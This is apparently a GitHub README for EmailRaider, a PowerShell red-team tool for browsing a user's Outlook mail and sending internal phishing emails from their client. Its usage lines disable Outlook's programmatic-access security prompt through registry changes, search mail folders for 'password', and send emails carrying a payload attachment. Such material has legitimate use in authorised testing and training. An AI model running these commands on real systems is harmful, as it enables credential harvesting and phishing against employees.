5l1v3r1 / emailraider

Powershell MS Outlook enumeration and phishing tool

EmailRaider

Powershell MS Outlook Enumeration and Internal Phishing tool

###Synopsis

MailRaider is a tool that can be used to browse/search a user's Outlook folders as well as send phishing emails internally using their Outlook client.

###Quick Usage Guide

#####Disable-SecuritySettings -AdminUser "LOCALHOST\Admin" -AdminPass "IamAdmin#123" This function sets/creates the required registry keys in order to disable the Outlook programmatic access prompt. Please note that if Anti-Virus is not installed and updated on the host, changing these keys will not make a difference.

#####View-Email -FolderName "Inbox" -Index 25 This function selects the specified folder and then displays the EmailItem at the selected index. This is useful for viewing individual e-mails, one at a time.

#####Get-SMTPAddress -FullName "William Striker" This function returns the Primary SMTP address of a user from the Global Address List based on their Full Name.

#####Invoke-SendEmail -Targets "[email protected]" -Subject "Wub Wub Wub" -Body "Hey! This is a test email" -Attachment .\Payload.rtf

This function will send an email to the specified target/s. The TargetList parameter can be used to read in targets from a file. HTML tags maybe used in the Body parameter to embed a URL or whatever suits your needs.

#####Invoke-MailSearch -DefaultFolder "Inbox" -Keyword "password" -MaxSearch 400 -MaxResults 50 -MaxThreads 15

This function will conduct a multithreaded search through specified Outlook Default folder for emails that contain the keyword.

TESTED On: Windows 7/Outlook 2013 Windows 8/Outlook 2013

http://www.xorrior.com/phishing-on-the-inside/